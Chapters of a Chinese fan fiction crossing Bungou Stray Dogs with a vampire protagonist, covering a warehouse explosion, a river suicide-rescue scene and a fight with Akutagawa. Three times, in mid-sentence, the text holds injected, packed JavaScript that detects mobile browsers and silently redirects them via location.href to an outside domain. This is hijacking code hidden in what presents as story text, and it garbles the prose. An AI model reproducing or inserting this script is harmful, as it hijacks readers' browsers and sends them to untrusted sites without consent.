那个被菲那恩踩着手腕、看似失去反抗能力的男人,眼中猛地闪过一丝疯狂的狠厉!他另一只一直藏在身下的手猛地抽出,握着一把造型古朴、闪烁着不祥银光的匕首。 那匕首的刃身上雕刻着诡异的符文,散发出一种让菲那恩本能感到极度厌恶和危险的气息。 “去死吧怪物!”男人嘶吼着,用尽全身力气,将匕首狠狠刺向了菲那恩毫无防备的心脏。 菲那恩察觉到危险时,只来得及微微侧身,匕首最终刺向他的腹部。 “噗嗤——” 利器刺入血肉的声音格外清晰。 菲那恩身体一颤,闷哼一声,赤红的眼眸中闪过一丝意外和不悦,下一瞬就轻易捏碎了这个蝼蚁的喉咙。 “菲那恩?”太宰治听闻声响看过去。 菲那恩摇了摇头,“我没事,很快就能自愈的。”他试图让自己听起来如常。 “啧。”太宰治咂舌,他立刻切换到通讯频道,语气语速极快:“中也,广津先生,立刻带所有人撤离到安全距离!仓库要自爆了!立刻!” 下达完指令,太宰治才看向菲那恩:“没事吧?能走吗?” 然而,他却看到菲那恩的脸色以肉眼可见的速度变得苍白,他正试图拔出那把匕首,但手指触碰到匕首时,竟然像是被灼烧一般冒起一丝白烟。 腹部的伤口不仅没有一丝一毫愈合的迹象,反而在不断渗出大量的鲜血,甚至将那粉色的和服都染成了深红。 “怎么……回事?”菲那恩的声音带着明显的虚弱和困惑,他低头看着自己无法愈合的伤口,赤红的眼眸里第一次出现了难以置信的情绪,“……无法恢复?” 突然,他像是想到了什么,瞳孔骤然收缩。 “迪克拉之银……”他失声低语,声音里充满了震惊和茫然,“这种东西……为什么这里……也有?!” 这种专门针对高等血族、能彻底抑制其自愈能力并不断侵蚀生命本源的禁忌金属,他原本以为只存在于他原来的世界。 剧烈的虚弱感如同潮水般涌上,让他几乎站立不稳,猛地向后退了一步,虚弱地扶住了冰冷的控制台。 狄克拉之银……真是麻烦的东西…… 自爆的倒计时声如同死神的丧钟,滴答作响。 太宰治立刻注意到了他的异常和那句充满震惊的低语。 他脸上的从容消失了,一步上前扶住菲那恩摇摇欲坠的身体:“狄克拉之银?那是什么?” “是针对……血族的……杀器……”菲那恩的气息变得急促,忍着疼痛把匕首拔了出来,额角渗出冷汗,意识已经开始有些模糊,“阻止……自愈……” 但好在他身体里还有一半人类的血,狄克拉之银的威力已经变小了不少。 而且……他原本就不会死。 强行撕开这里,带太宰出去……还是能做到的。 但在意识半模糊间,菲那恩看着眼前眉头紧锁、扶着他的太宰治,一个念头突然冒了出来。 一种突然而来的、近乎冷酷的好奇心,混合着因虚弱而降低的行动力,让他暂时选择了静观。 ——他好奇,在这种绝对的绝境下,人类会会怎么做。 或者,太宰会怎么做。 18. 任务完成 太宰治看着菲那恩愈发苍白的脸和那不断扩大的血渍,鸢色的眼眸中翻涌着从未有过的剧烈情绪。 他深吸一口气,强迫自己冷静下来。 “别说话,保存体力。”他的声音异常沉稳。 菲那恩半阖着眼,意识在剧痛和虚弱中浮沉,越是紧张的氛围,思维反而越是发散了。 该死,狄克拉之银果然很厉害,简直就是凌迟…… 死倒是死不了,毕竟他的“心脏”缺失,随时都可能因为在未知的某处“心脏”损毁而死,但也可能因为“心脏”保存完好,而可以无限接近于死亡,但总是会给他吊着一口气。 话说为什么陷入百年的沉睡,似乎就是因为上次中了高纯度的狄克拉之银,没想到醒过来没多久又栽狄克拉之银手上了…… 不过好在这个狄克拉之银纯度没有上次那么高,不然……他或许又要沉睡了。 他看着太宰治快速在控制台上操作,试图寻找解除自爆程序或开启备用通道的方法。 倒计时一分钟。 就在菲那恩几乎要放弃观察,准备凝聚最后力量强行突破时—— 太宰治似乎找到了什么,猛地一拳砸向主控制台下方一个不起眼的、布满线缆的接口面板。 “砰!”火花四溅。 这一拳似乎触发了某种底层物理故障,整个控制室的灯光猛地一暗,连刺耳的警报声都卡顿了一下。 控制室侧面,一道原本与墙壁融为一体、极其隐蔽的紧急维修通道口,“咔哒”一声,缓缓滑开,露出了仅容一人通过的狭窄通道。 太宰治一手穿过菲那恩的膝弯,另一只手环过他的后背,小心地避开了腹部的伤口,将比自己略矮一些的菲那恩整个打横抱了起来。 菲那恩的身体意外地很轻,像一片羽毛。 “抱紧我。”太宰治的声音带着一种奇异的冷静。 菲那恩下意识地用手臂环住他的脖颈。 菲那恩虚弱地靠在太宰治的胸前,脸颊贴着对方微湿的衬衫,能听到那有力的心跳声。 颠簸和疼痛让他意识昏沉,但他却奇异地感到一丝……安心? 几乎在他们冲进通道的几秒后—— 轰隆!!!! 震耳欲聋的爆炸声从身后猛地传来,炽热的火焰和冲击波瞬间吞噬了控制室,汹涌的气浪甚至追着他们冲进了通道。 太宰治将菲那恩的头紧紧按在自己怀里,甚至捂住了菲那恩非人的尖耳朵,隔绝爆炸的巨响。 通道尽头的光亮越来越近。 最终,他们冲出了通道,重重地跌倒在码头冰冷的地面上。 身后是冲天而起的火光和滚滚浓烟,爆炸的巨响回荡在夜空。 菲那恩腹部的伤口因为颠簸再次渗出更多的血,脸色苍白如纸,长长的睫毛颤动着,赤红的眼眸艰难地睁开一条缝,映着远处跳跃的火光,和太宰治那张沾了灰尘、写满担忧的脸。 “……真的……出来了……”菲那恩的声音带着难以置信的虚弱,“你怎么……找到的……” 太宰治没有回答他的问题,声音沙哑,听不出来喜怒:“你就知道给我添麻烦。” 菲那恩倔强地反驳,“都是……那个人类太阴了……” 太宰治几乎想叹气。 菲那恩在他怀里,感受着人类怀抱的温暖,意识终于支撑不住,缓缓沉入了黑暗。 广津柳浪正指挥着黑蜥蜴成员灭火和警戒,中原中也则烦躁地踢开一块焦黑的碎石,直到看见太宰治以一种极其罕见的姿势抱着菲那恩从废墟里踉跄出来,两人都愣住了。 最后的最后,任务圆满完成,但菲那恩受了不轻的伤。 对于菲那恩来说,受伤是小事,受无法快速自愈的伤,那就是大麻烦了。 “菲那恩君伤口处的皮肤细胞活性降低到了正常人类水平之后,便不再下降了。”森鸥外为菲那恩检查后,一边上药一边将结论告知中也和太宰。 鉴于他们知晓菲那恩的身份,被允许在场。 中原中也表情有一丝松动,“意思就是这家伙没什么大问题了吧?” 看到森鸥外点头,中原中也默默松了口气。 然而太宰治抱着手臂,嘴唇抿紧。 他从森先生的话中得出了另一个结论:若菲那恩是纯血族,[狄克拉之银]厉害到足以将一个血族的细胞活性归零,即——变为一具干尸。 森鸥外继续说道:“那把[狄克拉之银]已经查到来历了,这是世界大盗盗取的欧洲一个古老贵族的传家宝,随后阴差阳错走私到日本,至于为什么出现在这个小组织这里,仍然是个谜。” 太宰治终于开口,声音低沉:“可惜,我们的人将那片废墟之中翻了个底朝天都没找到那把[狄克拉之银],或许是在爆炸中彻底毁灭了吧。” ………… 菲那恩醒的倒是挺快,上完药后一个小时就醒了。 菲那恩捂着腹部,步伐有些踉跄地挪到太宰治的办公室门口。 门虚掩着,他轻轻推开,看见太宰治正对着桌面一堆杂乱的文件皱眉,手指无意识地敲击着桌面,周身笼罩着一层罕见的烦躁气息。 太宰治闻声抬头,鸢色的眸子在看到菲那恩苍白的脸色和捂着伤口的手时,瞬间敛去了所有外露的情绪,变得深沉难辨。 “不好好躺着,到处乱跑什么?”他的语气听起来和往常一样,但仔细听却能品出一丝不易察觉的关心,“又想给我增加工作量吗?照顾病号可是很麻烦的。” “……忘了。”菲那恩老实回答,声音还有些虚弱。 他小心地走到沙发边坐下,尽量避免牵拉伤口,“你还在查?” 说着,目光落在茶几上放着的一小瓶血液,心中泛起一股异样的情绪。 他有些惊讶,太宰怎么知道他会来这里……不过他早就饿到有些虚脱,顺手就拿起来喝了。 “不然呢?”太宰治向后靠在椅背上,指尖无意识地敲着桌面,“[狄克拉之银]更像是专门来试探你的,对方手脚很干净,或者说,对我们的行动模式相当了解,线索到那个死了的蠢货那里就彻底断了。” 菲那恩沉默了一下,似乎在消化这个信息。 腹部的伤口还在隐隐作痛,提醒着他[狄克拉之银]的存在和背后可能的恶意。 他忽然开口,声音很轻,却带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337555|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一种奇异的笃定:“他们还会来的。” 太宰治的目光骤然锐利起来,静静地看着他,自然明白菲那恩说的是显而易见的事情。 “只要我还在,”菲那恩继续说着,赤红的眼瞳里没有恐惧,只有一种近乎淡漠的清晰,“他们想要我的情报,就一定会再出现。” 对方就像在暗处的老鼠,他们在明,对方在暗。 所以,不需要费力去寻找。 只需要等待。 “下一次,”菲那恩的声音依旧虚弱,天使般的脸庞,说的话却透出一股冰冷的寒意,“我会撕碎他们。” 菲那恩生气了,自从来到这个世界后的、真正意义上的第一次生气。 太宰治静静地看了他几秒,忽然轻笑出声,那点烦躁仿佛瞬间消散了。 他站起身,绕过桌子,走到菲那恩面前,伸手不轻不重地弹了一下他的额头。 “这种听起来很厉害的狠话,等你的伤口愈合了再说吧,病号君。”他的语气重新变得懒洋洋的,“在那之前——” 他顿了顿,目光落在菲那恩的腹部,语气稍稍沉了些。 “——给我老老实实待着,别擅自行动,下次要注意防御,听懂了吗?” 菲那恩摸了摸被弹的额头,看着太宰治,微微撇了下嘴,最终还是不情不愿地“嗯”了一声。 若在以往,这般带着训诫和些许冒犯意味的举动,足以激起古老血族本能的反抗与冷意。 但此刻的菲那恩,却像是心甘情愿地被纳入某种领地范围,他甚至未曾意识到这其中微妙的不同。 他的大部分心神,仍沉浸在另一种更为汹涌的情绪里。 ——他被太宰治抱出来了。 这个认知反复冲刷着他的思绪,带来一阵阵陌生而滚烫的悸动,心跳快得不像话。 他不是很明白这种汹涌的情感究竟为何,只觉得胸腔里涨满了某种轻盈又酸涩的东西,一种纯粹的、源自被珍视与被保护的……高兴。 这是他漫长生命中,除了母亲外,第一次被别人以这样不容置疑却又温柔小心的方式,抱离某个危险地方。 而与心绪纷乱的菲那恩不同,太宰治的想法则显得“单纯”许多。 于他而言,“饲养”这只特别的小吸血鬼,并在这个过程中忍受对方带来的各种“折磨”,早已将菲那恩划归为不容他人染指的独家所有物。 维护、教导、乃至偶尔的“惩戒”,都不过是顺理成章的所有权行使。 当然,这场以“所有物”为名的游戏,界限早已模糊不清。 究竟是随心所欲的掌控者,还是早已深陷其中的局内人,或许连太宰治自己也无法断言。 或许哪天他会觉得腻味,随手将这份“所有物”弃如敝履。 又或许,在这场看似由他主导的游戏里,他早已不知不觉,泥足深陷。 这或许只有未来和时间才知道。 太宰治看菲那恩“嗯”了一声,这才稍微满意,重新看向窗外,眼底却掠过一丝极淡的冷光。 等待猎物自己上门吗? ……倒也不失为一个办法。 只是要做好准备才是。 19.活着的意义 菲那恩的伤几天就好了,之后的日子风平浪静,他姑且算是在港口mafia彻底安定了下来。 但是菲那恩却成了□□食堂最热门的话题,从猜测空降mafia的菲那恩是首领的亲戚,到是高层从某处挖来的秘密武器,再到现在—— 几乎一夜之间,“新人实力强大,受到那位不可言说的大人特别优待”的消息,如同滴入滚油的冷水,在港口黑手党庞大而压抑的建筑里炸开了锅。 八卦在走廊拐角、食堂角落、甚至武器保养室里,以各种添油加醋的版本疯狂滋长。 当然,这些八卦无足轻重,也不会传进菲那恩的耳朵里。 …… 横滨的黄昏,总带着一种倦怠的暖意,将鹤见川的河水染成慵懒的金红。 但对于太宰治而言,色彩并无意义。 他只是觉得,这个时刻的河水,或许能更温柔地接纳他。 菲那恩接到下属焦急的电话时,正对着一本太宰硬塞给他的《完全自杀手册》发呆。 上面的方法在他看来既低效又痛苦,远不如血族某些传承记忆里的方式来得“优雅”,但电话里的内容让他立刻放下了那本荒诞的书。 又来了。 那种熟悉的、细微的焦灼感再次攥紧了他的心脏。 他甚至没有思考,身体已经先于意识行动,化作一道模糊的影子,朝着鹤见川的方向疾驰而去。 赶到河边时,看到的景象依旧让他的呼吸漏了一拍。 太宰治大半个身子已经没入浑浊的河水中,黑色的风衣像不祥的暗影在水面下散开。 他仰着脸,夕阳在他过于苍白的脸上投下最后的光晕,鸢色的眼眸望着逐渐深邃的天空,空洞得让人心慌。 他平静得诡异,不像在赴死,倒像在赴一场期待已久的约会。 菲那恩血红的眼眸骤缩,几乎是本能地冲入水中,冰凉的河水瞬间浸透了他的衣裤。 他一把抓住太宰治冰冷的手腕,用力将他往岸上拖拽。 “太宰!”他的声音里带着一丝自己都未察觉的急促。 太宰治没有挣扎,甚至异常配合地借着菲那恩的力道站了起来。 河水从他湿透的头发、脸颊、大衣上不断滴落,在地上晕开深色的水渍。 他剧烈地咳嗽了几声,吐出几口河水,才抬起眼,看向眼前同样浑身湿透、粉色长发黏在脸颊、正皱着眉盯着他的菲那恩。 那双鸢色的眼睛里,没有往常被救起后的夸张抱怨或玩笑般的指责,只有一片深不见底的、疲惫的虚无。 “啊……是菲那恩啊。”他的声音沙哑,裹挟着水汽的冰凉,“又被你找到了呢。” 菲那恩没有松开抓着他手腕的手,仿佛怕一松开,这个人又会悄无声息地沉下去。 他只是固执地看着他,血红的眼眸里充满了无法理解的困惑和……一丝极淡的担忧。 “为什么……”菲那恩的声音有些发颤,带着连自己都未察觉的委屈和质问,“活着……就让你那么痛苦吗?” 他见过太多死亡,但从未理解过这种主动的、一次又一次的自我放弃。 太宰治的咳嗽渐渐平息,他缓缓睁开眼,鸢色的眼眸望着横滨灰蒙蒙的夜空,里面空荡荡的,什么也没有。 他没有回答菲那恩的问题,反而轻轻地、像是在问菲那恩,又像是在问自己: “菲那恩……你说,人活着,到底有什么意义呢?” 他的声音很轻,带着一种罕见的、不加掩饰的迷茫和疲惫,不再是平日里那种浮于表面的轻佻或深沉的算计。 菲那恩愣住了。 他从未思考过这个问题。对于拥有漫长生命的血族而言,“活着”更像是一种本能的状态,而非需要追寻意义的命题。 “我……不知道。”菲那恩老实回答,赤红的眼眸里充满了困惑,“活着……就是活着。可以感受到阳光……虽然我不太喜欢,可以吃到好吃的食物……虽然我的食谱几乎只有血液,可以……遇到各种各样的人……”比如遇到你。 菲那恩的声音越来越小。 太宰治闻言,极其轻微地勾了一下嘴角,那弧度却泛着苦涩。 “阳光很刺眼,食物尝不出味道,遇到的人……大多也无趣又麻烦。”他慢悠悠地说着,目光依旧没有焦点,“这个世界就像一场无趣的戏剧,充满了庸俗的暴力、虚伪的爱意和徒劳的挣扎……” “而我,就像一个不小心被拉上台的、蹩脚的观众,看不懂剧情,也无法融入其中,只觉得……格格不入,吵闹又乏味。” 他停顿了一下,声音更轻了:“死亡……或许才是唯一的解脱,是清爽而充满活力的最终归宿。每一次沉入水底,感觉着意识远离,反而能获得片刻的宁静呢。” 菲那恩静静地听着,他无法完全理解太宰治话语里所有的哲学思辨和虚无主义,但他能清晰地感受到那字里行间透出的、几乎将人溺毙的巨大空洞和孤独。 他看着太宰治被河水浸透的、苍白的侧脸,忽然伸出手,用自己冰凉的指尖,轻轻碰了碰对方同样冰凉的脸颊。 这个动作让太宰治微微一怔,终于缓缓转过头,看向他。 “可是,”菲那恩看着他的眼睛,无比认真地说,“如果你不在了,我就找不到你了。” 他的词汇贫乏,描述得磕磕绊绊,但那份心意却毫无阴霾地传递了过来。 “你活着,我会觉得……这里,”他指了指自己心脏的位置,“比较舒服。如果你不在了,我会觉得这里,会……不舒服。” “所以,”菲那恩总结道,语气理所当然,“对我来说,你好好地这里,就是意义。” 黄昏最后的光线落在他沾着水珠的睫毛上,映在那双纯粹得不含一丝杂质的赤瞳里,仿佛点燃了两簇温暖的火苗。 太宰治彻底怔住了。 菲那恩的逻辑简单而直白,却像一颗投入死水的石子,让他空洞的眼眸微微波动了一下。 他看着菲那恩,看着那双眼睛里倒映出的、自己狼狈又茫然的影子。 “……真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16347720|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……败给你了。”他的声音从湿漉漉的额发下传来,声音轻不可闻,“这种话……居然被一个连‘意义’是什么都不懂的吸血鬼说出来了……” 菲那恩歪了歪头,继续说道,试图理解:“你是因为觉得这个世界无趣,所以才加入港口Mafia的吗?因为这里……比较‘有趣’?”他想起了□□的混乱、血腥和无处不在的争斗。 太宰治沉默了片刻,似乎在思考该如何回答。 过了一会儿,他才缓缓开口,语气平淡得像在叙述别人的故事: “我加入这里,是因为这里足够‘真实’。” “真实?” “嗯。”太宰治的目光重新投向虚空,“至少这里的暴力是赤裸的,欲望是直白的,死亡是司空见惯的……比起外面那个用无数谎言编织起来的、虚伪的‘正常’世界,这里的黑暗反而更纯粹,更简单。” 他顿了顿,声音里带上了一丝极淡的自嘲:“而且……在这里,无论做什么,似乎都能找到合理的解释。 “杀人,或者救人,背叛,或者忠诚……都不过是‘组织’的需要,不需要自己去思考所谓的‘意义’,只需要服从,或者利用规则就好了……某种程度上,很轻松,不是吗?” 他并非为了正义或野心,而是因为这里的混沌与虚无,恰好与他内心的荒芜相匹配。 菲那恩努力消化着这些话。 他依然不能完全明白,但他捕捉到了关键词——“不需要思考意义”、“很轻松”。 他似懂非懂地看着太宰治,忽然问道:“那……现在呢?现在也觉得轻松吗?” 太宰治被问得愣了一下。 现在? 会笨拙地担心他、此刻正用那双清澈又固执的血眸盯着他的……麻烦精。 他看着菲那恩被河水打湿的、黏在脸颊上的粉色头发,看着对方那纯粹得不含一丝杂质的、带着担忧和困惑的眼神。 许久,太宰治才轻轻地、几乎不可闻地叹了口气,嘴角扯起一个极其疲惫又复杂的弧度: “啊……好像变得稍微……有点重了呢。” 这句话的含义模糊不清。 是负担变重了?还是其他什么东西变得有了分量? 菲那恩不太懂其中的深意,但他能感觉到,太宰治周身那种浓烈的、求死的意念似乎悄然褪去了一些,虽然空洞和迷茫依旧存在。 河畔的风吹过,带着凉意。 “走吧。”太宰治转过身,将依旧滴着水的沉重大衣裹紧,声音恢复了些往常的懒散,“再待下去,要感冒了。啊~难道这就是传说中的殉情未遂反受其苦吗?” 菲那恩看着他故作轻松的背影,虽然不太明白他最后那句话的意思,但还是安静地跟了上去。 夕阳将两人的影子在河堤上拉得很长。 或许太宰治依旧没有找到活着的“意义”。 但至少在这一刻,有人告诉他,他的存在本身,对另一个人而言,就是全部的意义。 这似乎……也不算太坏。 20.芥川的挑战 菲那恩依旧我行我素,自由度极高。 他有时在太宰治的办公室角落打盹,或者在太宰心情“好”的时候,被指挥去执行一些稀奇古怪、令人费解的任务,以及时不时就会接到去鹤见川捞太宰的电话。 菲那恩每一次目睹那场景,心头总会涌上难以言喻的焦灼。 他无法理解人类这种近乎病态、反复寻求自我终结的行为,却也从未像旁人那般视若无睹。 他不会阻止太宰做自己喜欢的事,那太宰也不能管他救不救他。 不过经过那天下午的对话,太宰治入水频率确实有所减少,危险度也没有那么高,但菲那恩每一次都会第一时间赶过去。 但万一呢? 万一……哪一次他迟了,或者没去,太宰就真的……成功了呢? 菲那恩也能清晰地感知到,太宰每一次投向深渊的纵身,那份赴死的决绝是真实的,绝非作伪的表演。 然而,在那片浓重的死意之下,总还顽强地蛰伏着一丝极其细微、近乎本能的求生欲。 对菲那恩而言,捕捉到这一丝微光,便已足够成为他一次次出手的理由。 唯独太宰治……是和其他人不一样的 他对他来说,足够特别。 就这样,太宰治日常自杀,菲那恩日常救他,日子归于一个诡异的平静。 然而,这份暂时的平静,被一个充满敌意和执念的身影打破了。 训练场冰冷的水泥地上,芥川龙之介如同一柄出鞘的利刃,散发着生人勿近的寒气。 他深灰色的眼眸死死锁定在对面那个穿着樱粉色和服、看起来精致易碎的身影上——菲那恩。 就是这个家伙……这个突然出现在太宰先生身边、甚至能得到那个冷酷无情的太宰先生特别关注! 芥川的胸腔里燃烧着名为嫉妒和不甘的火焰。 他付出了多少努力,忍受了多少痛苦,只为了获得太宰先生的一句认可!而这个家伙,凭什么?! “菲那恩·德·图拉尔!”芥川的声音冰冷刺骨,带着浓重的杀意,“在下,芥川龙之介,向你发起挑战!让在下看看,你有何资格站在太宰先生身边!” 菲那恩正百无聊赖地研究着训练场墙壁上的弹孔,闻言抬起头,血红的眼眸里闪过一丝困惑。 他叫芥川龙之介?唔……不认识。 太宰没有提过这个人…… 挑战?有什么资格……吗?那不行,唯一有资格的一定是他,他不可能将太宰让出去的。 他能感觉到对面那个黑衣少年身上散发出的、几乎化为实质的敌意,但是他根本没有把对方放在眼里。 对他而言,除了太宰治,其他人类都如同背景板,无法引起他丝毫兴趣。 “我没有兴趣和你打,打伤你了我会挨训的。”菲那恩蹙了蹙眉,粉色长发随着他摇头的动作轻轻晃动。 “由不得你!”芥川厉喝一声,周身黑红色的布料瞬间活化,化作狰狞的恶兽——“罗生门·颚!” 巨大的布质利爪撕裂空气,带着恐怖的威势,直扑菲那恩面门! 菲那恩瞳孔微缩。 好快! 但他血族的反应速度在这一刻展现出来。 他没有硬接,身体如同没有重量的羽毛,以人类几乎不可能做到的柔韧度和速度向后急退,险之又险地避开了这致命一击。 罗生门擦着他的衣角轰击在地面上,留下深深的裂痕。 芥川一击不中,攻势更加狂暴。 “罗生门·丛!”数道布刃如同荆棘丛林般从四面八方刺向菲那恩,封锁了他所有闪避的空间。 菲那恩的血眸中闪过一丝不易察觉的不耐。 他讨厌莫名其妙的人类带来的麻烦,更讨厌这种毫无缘由的、无礼的攻击。 明明大家都是同一阵营的,某种意义上的“家人”,为什么要对他有着如此的敌意…… 他不明白,然后越想越气。 面对密集的攻势,他也不再后退,眼眸比平时更红,嘴里低声念了一句古老的咒语。 嗡! 他的身影瞬间化作一片浓郁如血的绯红雾气,无视了物理上的布刃穿刺,如同液体般从罗生门攻击的缝隙中渗透而出,在芥川身后不远处重新凝聚成形。 芥川猛地转身,眼中惊怒交加:“躲躲藏藏!懦夫!” 菲那恩面无表情地看着他:“你是未被开化的野兽吗,听不懂我说我没兴趣跟你打吗。” “闭嘴!”芥川的执念被彻底点燃,罗生门在他狂怒的驱使下,形态更加多变,攻击更加刁钻狠辣,穿刺、缠绕、劈砍……攻势如同狂风暴雨。 菲那恩压抑着心中的不耐,依然没有发动攻击性秘术,完全依靠血族天生的速度、身体柔韧性在密集的攻击中闪转腾挪。 他时而狼狈地翻滚,时而以不可思议的角度扭曲身体避开要害,时而再次化作血雾规避。 然而,训练场上方不起眼的阴影里,一双鸢色的眼眸正饶有兴致地注视着下方的战斗。 太宰治不知何时已悄然到来,斜倚在通风管道旁的阴影中,如同一个隐身的观众。 他的目光扫过芥川狂暴的罗生门上,而是紧紧追随着菲那恩那毫无章法、全凭本能的闪避动作。 “啧……”太宰治无声地咂了下嘴,眼中闪过一丝了然。 “空有顶尖的速度和反应神经,动作却杂乱无章,破绽百出,重心不稳,发力点完全错误,对攻击的预判几乎为零,全靠非人的身体素质和那诡异的秘术硬撑……”太宰治在心中飞快地评价着。 他鸢色的眼眸微微眯起,“对付芥川这种直来直去的攻击都如此狼狈,如果遇到更狡猾或者范围更大的敌人……” 就在这时,芥川的攻势达到了顶峰! 他咆哮着,罗生门凝聚成一只巨大的、仿佛能吞噬一切的黑色兽首——“罗生门·狱门颚!” 恐怖的吸力传来,仿佛要将菲那恩连同周围的空间一起吞噬! 菲那恩终于忍不住心中的怒意。 没完没了!他讨厌这种如恶犬一般的纠缠!简直比吸血鬼猎人还要烦人!血红的眼眸深处,那瑰丽的红色如同熔岩般沸腾起来。 “够了!”菲那恩低喝一声,不再闪避。 他单膝跪地,双手猛地按向冰冷的水泥地面,口中吐出更加古老、更加冰冷的音节。 嗡——! 以他掌心为中心,一个巨大的、由暗红色能量构成的荆棘蔷薇图腾瞬间在地面展开。 无数由纯粹能量构成的、带着尖锐倒刺的暗红荆棘如同活物般疯狂生长、交织,它们并非仅仅防御,而是带着强烈的攻击性,如同狂怒的蛇群,主动迎向扑来的罗生门兽首。 轰隆——!!! 暗红荆棘与漆黑的罗生门兽首狠狠撞击在一起,能量剧烈震荡,发出刺耳的尖啸,狂暴的能量冲击波瞬间席卷了整个训练场。 芥川的罗生门兽首在充满侵蚀性和穿透力的荆棘面前,如同遇到克星般寸寸崩裂、湮灭。 他本人更是如遭重击,闷哼一声,被巨大的反震力狠狠抛飞出去,撞在远处的墙壁上,才狼狈地滑落下来,嘴角溢出一丝鲜血,难以置信地看着那如同魔神般矗立在荆棘丛中的粉色身影。 暗红色的荆棘缓缓收缩,最终消失在地面,菲那恩站起身,呼吸略显急促。 强行催动这种大范围攻击性秘术,对他而言消耗不小,他看也没看倒地的芥川,转身就想离开这里。 “啪啪啪……” 清脆、缓慢而带着独特韵律的掌声突兀地在空旷的训练场响起。 这声音如同冰冷的针,瞬间刺破了战斗后的死寂。 菲那恩的脚步顿住了,他血红的眼眸骤然收缩,猛地循声望去。 芥川挣扎着抬起头,灰眸中爆发出难以置信的光芒和一丝狂热的希冀——“太宰先生?!” 只见训练场上方不起眼的阴影处,太宰治如同鬼魅般,慢悠悠地从通风管道的阴影中踱步而出。 他黑大衣下摆随着步伐轻轻晃动,脸上挂着那副惯常的、令人心底发毛的笑容。 他一步一步走下台阶,皮鞋踩在冰冷的水泥地上,发出清晰的“嗒、嗒”声,每一步都像敲在两人紧绷的心弦上。 “真是精彩。”太宰治的声音带着一丝慵懒的、仿佛发自内心的赞叹,目光却精准地落在菲那恩身上,仿佛要将他看穿,“菲那恩君,你的蔷薇荆棘真是令人叹为观止呢。” 他话锋一转,语气里带上了一丝不易察觉的无奈,“动静是不是稍微大了点?维修账单可是要算在你头上的哦。” “太、太宰……”菲那恩被他看得极其不自在,身体微微绷紧了起来。 太宰在这里多久了?他看到了多少?那句“动静大”是责备还是……? 他还是出手把芥川龙之介打伤了,怎么办,他明明答应过不伤害港口mafia成员的…… 虽然不认识芥川龙之介,但是很明显就是港口mafia的人吧…… 他垂下脑袋,像犯了错被抓包的孩子一样,双手背在身后,指尖无意识地抠着和服的布料边缘,粉色的长发遮住了部分侧脸,目光盯着自己沾了点灰尘的足尖,小声嘟囔:“……是他先动手的,我、我也不是故意打伤他的。” 太宰治的目光终于转向挣扎着想要爬起来的芥川,那目光瞬间从带着一丝无奈的调侃,变成了纯粹的、不带任何温度的审视。 “芥川,”他的声音不高,却清晰地回荡在空旷的训练场,带着一种冰冷的、公事公办的疏离感,“看来你并没有理解‘挑战’的含义。无意义的挑衅,只会暴露你的愚蠢和冲动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351666|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 芥川的身体猛地一僵,剧烈的咳嗽让他无法立刻回应,灰眸中只剩下被冰冷现实浇灌的屈辱和痛苦。 他死死咬住下唇,尝到了铁锈般的血腥味,却倔强地不肯倒下。 他缓步走到芥川面前,居高临下地看着他狼狈的样子,语气冰冷刺骨,“连一个基本没有动用力量,体术还差的人都打不过,甚至被对方逼得用出了看家本领……这就是你所谓的‘证明资格’?” “太宰先生!在下……”芥川脸色惨白如纸,剧烈的咳嗽让他无法完整说话,眼中充满了屈辱、痛苦和不甘。 他挣扎着想辩解,却在太宰那冰冷的目光下哑口无言。 “闭嘴。”太宰治的声音没有丝毫起伏,却带着绝对的命令意味,“你的无能,吵到我的耳朵了。” 菲那恩吃惊地看了看太宰治,随即立马又低下头。 他以前怎么不知道……太宰,原来这么凶的吗…… 完蛋了…… 太宰治没有再看芥川,仿佛芥川的存在已经不值得他投入更多关注。 他重新将视线投向那个低着头的粉色脑袋,语气稍微缓和了一点:“菲那恩,消耗很大吗?脸色白得像纸一样。” 菲那恩闻言,背在身后的手指绞得更紧了些。 他确实有点累了,但……其实还好。 菲那恩垂着脑袋不看太宰治的眼睛,“对!我、我已经不行了,快要昏倒了。”所以这件事就这么过去了吧太宰。 太宰治走近几步,无视了旁边芥川的存在,直接对菲那恩说道:“那就跟我来吧,你需要休息,还有……” 他顿了顿,意有所指,“补充点能量。” 他指的是血液。 菲那恩猛地抬起头,血红的眼眸瞬间亮了起来,“真的?!” 太宰一点都不凶,刚刚果然是错觉! 他几乎是脱口而出,随即意识到自己反应过度,又赶紧低下头,小声补充,“……哦,好。” 太宰治看着他那瞬间变脸的样子,鸢色的眼眸深处掠过一丝极其细微的、连他自己都未曾察觉的无奈。 这家伙……真是让人头疼。 他转身,准备离开这个狼藉的场地。 “太宰先生!”芥川终于挣扎着开口,声音嘶哑破碎,带着最后一丝不甘和祈求,“在下……在下只是……” 